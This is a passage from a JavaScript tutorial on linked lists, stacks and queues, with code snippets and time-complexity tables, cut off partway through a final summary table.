<figure class="highlight js"><figcaption><span>LinkedList.removeFirst</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment">  * Removes element from the start of the list (head/root). It&#x27;s Similar `Array.shift`</span></span><br><span class="line"><span class="comment">  * Runtime: O(1)</span></span><br><span class="line"><span class="comment">  */</span></span><br><span class="line">removeFirst() &#123;</span><br><span class="line">  <span class="keyword">const</span> first = <span class="built_in">this</span>.root;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span> (first) &#123;</span><br><span class="line">    <span class="built_in">this</span>.root = first.next;</span><br><span class="line">    <span class="keyword">return</span> first.value;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>As expected, the runtime for removing/adding to the first element from a linked List is always constant <em>O(1)</em></p>
<p><a id="LinkedList.remove"></a></p>
<p><strong>Removing an element anywhere from a linked list</strong></p>
<p>Removing an element anywhere in the list leverage the <code>removeLast</code> and <code>removeFirst</code>. However, if the removal is in the middle, then we assign the previous node to the next one. That removes any reference from the current node, this is removed from the list:</p>
<figure class="highlight js"><figcaption><span>LinkedList.remove</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">remove(index = <span class="number">0</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span>(index === <span class="number">0</span>) &#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.removeFirst();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> current = <span class="built_in">this</span>.first, i = <span class="number">0</span>; current;  i++, current = current.next) &#123;</span><br><span class="line">    <span class="keyword">if</span>(i === index) &#123;</span><br><span class="line">      <span class="keyword">if</span>(!current.next) &#123; <span class="comment">// if it doesn&#x27;t have next it means that it is the last</span></span><br><span class="line marked">        <span class="keyword">return</span> <span class="built_in">this</span>.removeLast();</span><br><span class="line">      &#125;</span><br><span class="line marked">      current.previous.next = current.next;</span><br><span class="line">      <span class="built_in">this</span>.size--;</span><br><span class="line">      <span class="keyword">return</span> current.value;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Note that <code>index</code> is a zero-based index: 0 will be the first element, 1 second, and so on.</p>
<blockquote>
<p>Removing an element anywhere within the list is <em>O(n)</em>.</p>
</blockquote>
<p><a id="LinkedList.contains"></a></p>
<p><strong>Searching for an element in a linked list</strong></p>
<p>Searching an element on the linked list is very somewhat similar to <code>remove</code>:</p>
<figure class="highlight js"><figcaption><span>LinkedList.contains</span></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">contains(value) &#123;</span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> current = <span class="built_in">this</span>.first, index = <span class="number">0</span>; current;  index++, current = current.next) &#123;</span><br><span class="line">    <span class="keyword">if</span>(current.value === value) &#123;</span><br><span class="line">      <span class="keyword">return</span> index;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>This function finds the first element with the given value.</p>
<blockquote>
<p>The runtime for searching an element in a linked list is <em>O(n)</em></p>
</blockquote>
<h3 id="Singly-Linked-Lists-time-complexity"><a href="#Singly-Linked-Lists-time-complexity" class="headerlink" title="Singly Linked Lists time complexity"></a>Singly Linked Lists time complexity</h3><p>Singly Linked List time complexity per function is as follows.</p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Runtime</th>
<th>Comment</th>
</tr>
</thead>
<tbody><tr>
<td><a href="#DoublyLinkedList.addFirst"><code>addFirst</code></a></td>
<td><em>O(1)</em></td>
<td>Insert element to the beginning of the list</td>
</tr>
<tr>
<td><a href="#SinglyLinkedList.addLast"><code>addLast</code></a></td>
<td><em>O(n)</em></td>
<td>Insert element to the end of the list</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.add"><code>add</code></a></td>
<td><em>O(n)</em></td>
<td>Insert element anywhere in the list.</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.removeFirst"><code>removeFirst</code></a></td>
<td><em>O(1)</em></td>
<td>Remove element to the beginning of the list</td>
</tr>
<tr>
<td><a href="#SinglyLinkedList.removeLast"><code>removeLast</code></a></td>
<td><em>O(n)</em></td>
<td>Remove element to the end of the list</td>
</tr>
<tr>
<td><a href="#LinkedList.remove"><code>remove</code></a></td>
<td><em>O(n)</em></td>
<td>Remove any element from the list</td>
</tr>
<tr>
<td><a href="#LinkedList.contains"><code>contains</code></a></td>
<td><em>O(n)</em></td>
<td>Search for an element from the list</td>
</tr>
</tbody></table>
<p>Notice that every time we add/remove from the last position, the operation takes <em>O(n)</em>.</p>
<blockquote>
<p>But we could reduce the <code>addLast</code>/<code>removeLast</code> from <em>O(n)</em> to a flat <em>O(1)</em> if we keep a reference of the last element!</p>
</blockquote>
<p>We are going to add the last reference in the next section!</p>
<h3 id="Doubly-Linked-Lists"><a href="#Doubly-Linked-Lists" class="headerlink" title="Doubly Linked Lists"></a>Doubly Linked Lists</h3><p>When we have a chain of nodes where each one points to the next one, we have a <strong>Singly Linked list</strong>. When we have a linked list where each node leads to the <strong>next</strong> and the <strong>previous</strong> element, we have a <strong>Doubly Linked List</strong></p>
<img src="/images/doubly-linked-list.jpg" class="" title="Doubly Linked List">

<p>Doubly linked list nodes have double references (next and previous). We are also going to keep track of the list first and the last element.</p>
<figure class="highlight js"><figcaption><span>Doubly Linked List</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Node</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>(value) &#123;</span><br><span class="line">    <span class="built_in">this</span>.value = value;</span><br><span class="line">    <span class="built_in">this</span>.next = <span class="literal">null</span>;</span><br><span class="line">    <span class="built_in">this</span>.previous = <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">LinkedList</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.first = <span class="literal">null</span>; <span class="comment">// head/root element</span></span><br><span class="line">    <span class="built_in">this</span>.last = <span class="literal">null</span>; <span class="comment">// last element of the list</span></span><br><span class="line">    <span class="built_in">this</span>.size = <span class="number">0</span>; <span class="comment">// total number of elements in the list</span></span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// ...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p><strong>Adding and Removing from the start of a list</strong></p>
<p>Adding and removing from the start of the list is simple since we have <code>this.first</code> reference:</p>
<p><a id="DoublyLinkedList.addFirst"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.addFirst</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">addFirst(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> node = <span class="keyword">new</span> Node(value);</span><br><span class="line"></span><br><span class="line">  node.next = <span class="built_in">this</span>.first;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(<span class="built_in">this</span>.first) &#123;</span><br><span class="line">    <span class="built_in">this</span>.first.previous = node;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.last = node;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">this</span>.first = node; <span class="comment">// update head</span></span><br><span class="line">  <span class="built_in">this</span>.size++;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Notice that we have to be very careful and update the previous and last reference.</p>
<p><a id="DoublyLinkedList.removeFirst"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.removeFirst</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">removeFirst() &#123;</span><br><span class="line">  <span class="keyword">const</span> first = <span class="built_in">this</span>.first;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(first) &#123;</span><br><span class="line">    <span class="built_in">this</span>.first = first.next;</span><br><span class="line">    <span class="keyword">if</span>(<span class="built_in">this</span>.first) &#123;</span><br><span class="line">      <span class="built_in">this</span>.first.previous = <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">this</span>.size--;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> first.value;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.last = <span class="literal">null</span>;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>What’s the runtime?</p>
<blockquote>
<p>Adding and removing elements from a (singly/doubly) LinkedList has a constant runtime <em>O(1)</em></p>
</blockquote>
<p><strong>Adding and removing from the end of a list</strong></p>
<p>Adding and removing <em>from the end</em> of the list is a little tricky. If you checked in the Singly Linked List, both operations took <em>O(n)</em> since we had to loop through the list to find the last element. Now, we have the <code>last</code> reference:</p>
<p><a id="DoublyLinkedList.addLast"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.addLast</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">addLast(value) &#123;</span><br><span class="line">  <span class="keyword">const</span> node = <span class="keyword">new</span> Node(value);</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(<span class="built_in">this</span>.first) &#123;</span><br><span class="line">    <span class="keyword">let</span> currentNode = <span class="built_in">this</span>.first;</span><br><span class="line">    node.previous = <span class="built_in">this</span>.last;</span><br><span class="line marked">    <span class="built_in">this</span>.last.next = node;</span><br><span class="line">    <span class="built_in">this</span>.last = node;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.first = node;</span><br><span class="line">    <span class="built_in">this</span>.last = node;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="built_in">this</span>.size++;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> node;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Again, we have to be careful about updating the references and handling exceptional cases such as only one element.</p>
<p><a id="DoublyLinkedList.removeLast"></a></p>
<figure class="highlight js"><figcaption><span>LinkedList.prototype.removeLast</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">full code</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line">removeLast() &#123;</span><br><span class="line">  <span class="keyword">let</span> current = <span class="built_in">this</span>.first;</span><br><span class="line">  <span class="keyword">let</span> target;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(current &amp;&amp; current.next) &#123;</span><br><span class="line marked">    current = <span class="built_in">this</span>.last.previous;</span><br><span class="line">    <span class="built_in">this</span>.last = current;</span><br><span class="line">    target = current.next;</span><br><span class="line">    current.next = <span class="literal">null</span>;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">this</span>.first = <span class="literal">null</span>;</span><br><span class="line">    <span class="built_in">this</span>.last = <span class="literal">null</span>;</span><br><span class="line">    target = current;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">if</span>(target) &#123;</span><br><span class="line">    <span class="built_in">this</span>.size--;</span><br><span class="line">    <span class="keyword">return</span> target.value;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Using a doubly-linked list, we no longer have to iterate through the whole list to get the 2nd last element. We can use directly <code>this.last.previous</code> and is <code>O(1)</code>.</p>
<p>Did you remember that for the Queue, we had to use two arrays? We can now change that implementation and use a doubly-linked list instead. The runtime will be <em>O(1)</em> for insert at the start and deleting at the end.</p>
<p><a id="DoublyLinkedList.add"></a></p>
<p><strong>Adding an element anywhere from a linked list</strong></p>
<p>Adding an element on anywhere on the list leverages our <code>addFirst</code> and <code>addLast</code> functions as you can see below:</p>
<figure class="highlight js"><figcaption><span>LinkedList.add</span><a href="https://github.com/amejiarosario/dsa.js/blob/master/src/data-structures/linked-lists/linked-list.js">FullCode</a></figcaption><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">add(value, index = <span class="number">0</span>) &#123;</span><br><span class="line">  <span class="keyword">if</span>(index === <span class="number">0</span>) &#123;</span><br><span class="line marked">    <span class="keyword">return</span> <span class="built_in">this</span>.addFirst(value);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> (<span class="keyword">let</span> current = <span class="built_in">this</span>.first, i = <span class="number">0</span>; i &lt;= <span class="built_in">this</span>.size;  i++, current = (current &amp;&amp; current.next)) &#123;</span><br><span class="line">    <span class="keyword">if</span>(i === index) &#123;</span><br><span class="line">      <span class="keyword">if</span>(i === <span class="built_in">this</span>.size) &#123; <span class="comment">// if it doesn&#x27;t have next it means that it is the last</span></span><br><span class="line marked">        <span class="keyword">return</span> <span class="built_in">this</span>.addLast(value);</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">const</span> newNode = <span class="keyword">new</span> Node(value);</span><br><span class="line">      newNode.previous = current.previous;</span><br><span class="line">      newNode.next = current;</span><br><span class="line"></span><br><span class="line">      current.previous.next = newNode;</span><br><span class="line">      <span class="keyword">if</span>(current.next) &#123; current.next.previous = newNode; &#125;</span><br><span class="line">      <span class="built_in">this</span>.size++;</span><br><span class="line">      <span class="keyword">return</span> newNode;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>If we have an insertion in the middle of the Array, then we have to update the <code>next</code> and <code>previous</code> reference of the surrounding elements.</p>
<blockquote>
<p>Adding an element anywhere within the list is <em>O(n)</em>.</p>
</blockquote>
<h3 id="Doubly-Linked-Lists-time-complexity"><a href="#Doubly-Linked-Lists-time-complexity" class="headerlink" title="Doubly Linked Lists time complexity"></a>Doubly Linked Lists time complexity</h3><p>Doubly Linked List time complexity per function is as follows:</p>
<table>
<thead>
<tr>
<th>Operation</th>
<th>Runtime</th>
<th>Comment</th>
</tr>
</thead>
<tbody><tr>
<td><a href="#DoublyLinkedList.addFirst"><code>addFirst</code></a></td>
<td><em>O(1)</em></td>
<td>Insert element to the beginning of the list.</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.addLast"><code>addLast</code></a></td>
<td><em>O(1)</em></td>
<td>Insert element to the end of the list.</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.add"><code>add</code></a></td>
<td><em>O(n)</em></td>
<td>Insert element anywhere in the list.</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.removeFirst"><code>removeFirst</code></a></td>
<td><em>O(1)</em></td>
<td>Remove element to the beginning of the list.</td>
</tr>
<tr>
<td><a href="#DoublyLinkedList.removeLast"><code>removeLast</code></a></td>
<td><em>O(1)</em></td>
<td>Remove element to the end of the list.</td>
</tr>
<tr>
<td><a href="#LinkedList.remove"><code>remove</code></a></td>
<td><em>O(n)</em></td>
<td>Remove any element from the list</td>
</tr>
<tr>
<td><a href="#LinkedList.contains"><code>contains</code></a></td>
<td><em>O(n)</em></td>
<td>Search for any element from the list</td>
</tr>
</tbody></table>
<p>Doubly linked lists are a significant improvement compared to the singly linked list! We improved from <em>O(n)</em> to <em>O(1)</em> by:</p>
<ul>
<li>Adding a reference to the previous element.</li>
<li>Holding a reference to the last item in the list.</li>
</ul>
<p>Removing first/last can be done in constant time; however, eliminating in the middle of the Array is still <em>O(n)</em>.</p>
<h2 id="Stacks"><a href="#Stacks" class="headerlink" title="Stacks"></a>Stacks</h2><!-- https://docs.oracle.com/javase/10/docs/api/java/util/Stack.html -->

<p>Stacks is a data structure where the last entered data is the first to come out. Also know as Last-in, First-out (LIFO).</p>
<img src="/images/stack.jpg" class="" title="Stack: push and pop">

<p>Let’s implement a stack from scratch!</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Stack</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.input = [];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  push(element) &#123;</span><br><span class="line">    <span class="built_in">this</span>.input.push(element);</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>;</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  pop() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.input.pop();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>As you can see, it is easy since we are using the built-in <code>Array.push</code> and <code>Array.pop</code>. Both have a runtime of <em><code>O(1)</code></em>.</p>
<p>Let’s see some examples of its usage:</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> stack = <span class="keyword">new</span> Stack();</span><br><span class="line"></span><br><span class="line">stack.push(<span class="string">&#x27;a&#x27;</span>);</span><br><span class="line">stack.push(<span class="string">&#x27;b&#x27;</span>);</span><br><span class="line">stack.push(<span class="string">&#x27;c&#x27;</span>);</span><br><span class="line"></span><br><span class="line">stack.pop(); <span class="comment">// c</span></span><br><span class="line">stack.pop(); <span class="comment">// b</span></span><br><span class="line">stack.pop(); <span class="comment">// a</span></span><br></pre></td></tr></table></figure>

<p>The first element in (<code>a</code>) is the last to get out. We can also implement Stack using a linked list instead of an array. The runtime will be the same.</p>
<p>That’s all!</p>
<h2 id="Queues"><a href="#Queues" class="headerlink" title="Queues"></a>Queues</h2><!-- https://docs.oracle.com/javase/10/docs/api/java/util/Queue.html -->
<!-- https://stackoverflow.com/a/22615787/684957 -->

<p>Queues are a data structure where the first data to get in is also the first to go out. A.k.a First-in, First-out (FIFO).
It’s like a line of people at the movies, the first to come in is the first to come out.</p>
<img src="/images/queue.jpg" class="" title="Queue: enqueue and dequeue">

<p>We could implement a Queue using an array, very similar to how we implemented the Stack.</p>
<h3 id="Queue-implemented-with-Array-s"><a href="#Queue-implemented-with-Array-s" class="headerlink" title="Queue implemented with Array(s)"></a>Queue implemented with Array(s)</h3><p>A naive implementation would be this one using <code>Array.push</code> and <code>Array.shift</code>:</p>
<p><a id="QueueNaiveImpl"></a></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Queue</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.input = [];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(element) &#123;</span><br><span class="line">    <span class="built_in">this</span>.input.push(element);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  remove() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.input.shift();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>What’s the time complexity of <code>Queue.add</code> and <code>Queue.remove</code>?</p>
<ul>
<li><code>Queue.add</code> uses <code>array.push</code> which has a constant runtime. Win!</li>
<li><code>Queue.remove</code> uses <code>array.shift</code> which has a linear runtime. Can we do better than <em><code>O(n)</code></em>?</li>
</ul>
<p>Think of how you can implement a Queue only using <code>Array.push</code> and <code>Array.pop</code>.</p>
<p><a id="QueueArrayImpl"></a></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Queue</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.input = [];</span><br><span class="line">    <span class="built_in">this</span>.output = [];</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(element) &#123;</span><br><span class="line">    <span class="built_in">this</span>.input.push(element);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  remove() &#123;</span><br><span class="line">    <span class="keyword">if</span>(!<span class="built_in">this</span>.output.length) &#123;</span><br><span class="line">      <span class="keyword">while</span>(<span class="built_in">this</span>.input.length) &#123;</span><br><span class="line">        <span class="built_in">this</span>.output.push(<span class="built_in">this</span>.input.pop());</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.output.pop();</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Now we are using two arrays rather than one.</p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> queue = <span class="keyword">new</span> Queue();</span><br><span class="line"></span><br><span class="line">queue.add(<span class="string">&#x27;a&#x27;</span>);</span><br><span class="line">queue.add(<span class="string">&#x27;b&#x27;</span>);</span><br><span class="line"></span><br><span class="line">queue.remove() <span class="comment">// a</span></span><br><span class="line">queue.add(<span class="string">&#x27;c&#x27;</span>);</span><br><span class="line">queue.remove() <span class="comment">// b</span></span><br><span class="line">queue.remove() <span class="comment">// c</span></span><br></pre></td></tr></table></figure>

<p>When we remove something for the first time, the <code>output</code> array is empty. So, we insert the content of <code>input</code> backward like <code>[&#39;b&#39;, &#39;a&#39;]</code>. Then we pop elements from the <code>output</code> array. As you can see, using this trick, we get the output in the same order of insertion (FIFO).</p>
<p>What’s the runtime?</p>
<p>If the output already has some elements, then the remove operation is constant <em><code>O(1)</code></em>. When the output arrays need to get refilled, it takes <em><code>O(n)</code></em> to do so. After the refilled, every operation would be constant again. The amortized time is <em><code>O(1)</code></em>.</p>
<p>We can achieve a <code>Queue</code> with a pure constant if we use LinkedList. Let’s see what it is in the next section!</p>
<!-- **[[usages]]** -->

<h3 id="Queue-implemented-with-a-Doubly-Linked-List"><a href="#Queue-implemented-with-a-Doubly-Linked-List" class="headerlink" title="Queue implemented with a Doubly Linked List"></a>Queue implemented with a Doubly Linked List</h3><p>We can achieve the best performance for a <code>queue</code> using a linked list rather than an array.</p>
<p><a id="QueueListImpl"></a></p>
<figure class="highlight js"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> LinkedList = <span class="built_in">require</span>(<span class="string">&#x27;../linked-lists/linked-list&#x27;</span>);</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Queue</span> </span>&#123;</span><br><span class="line">  <span class="keyword">constructor</span>() &#123;</span><br><span class="line">    <span class="built_in">this</span>.input = <span class="keyword">new</span> LinkedList();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  add(element) &#123;</span><br><span class="line">    <span class="built_in">this</span>.input.addFirst(element);</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  remove() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.input.removeLast();</span><br><span class="line">  &#125;</span><br><span class="line"></span><br><span class="line">  <span class="keyword">get</span> <span class="title">size</span>() &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="built_in">this</span>.input.size;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>Using a doubly-linked list with the last element reference, we achieve an <code>add</code> of <em>O(1)</em>. That’s the importance of using the right tool for the right job. 💪</p>
<h2 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h2><p>We explored most of the linear data structures. We saw that depending on how we implement the data structures. There are different runtimes.</p>
<p>Here’s a summary of everything that we explored. You can click on each runtime, and it will take you to the implementation.</p>
<!-- there is not a generic runtime for the operations because it depends more  -->

<p><strong>Time complexity</strong></p>
<p><em>Click on the <strong>name</strong> to go to the section or click on the <strong>runtime</strong> to go to the implementation</em></p>
<p><code>*</code> = Amortized runtime</p>
<table>
<thead>
<tr>
<th>Name</th>
<th>Insert</th>
<th>Access</th>
<th>Search</th>
<th>Delete</th>
<th>Comments</th>
</tr>
</thead>
<tbody><tr>
<td><a href="#Array">Array</a></td>
<td><a href="#Insert-element-on-an-array">O(n)</a></td>
<td><a href="#Access-an-element-in-an-array">O(1)</a></td>
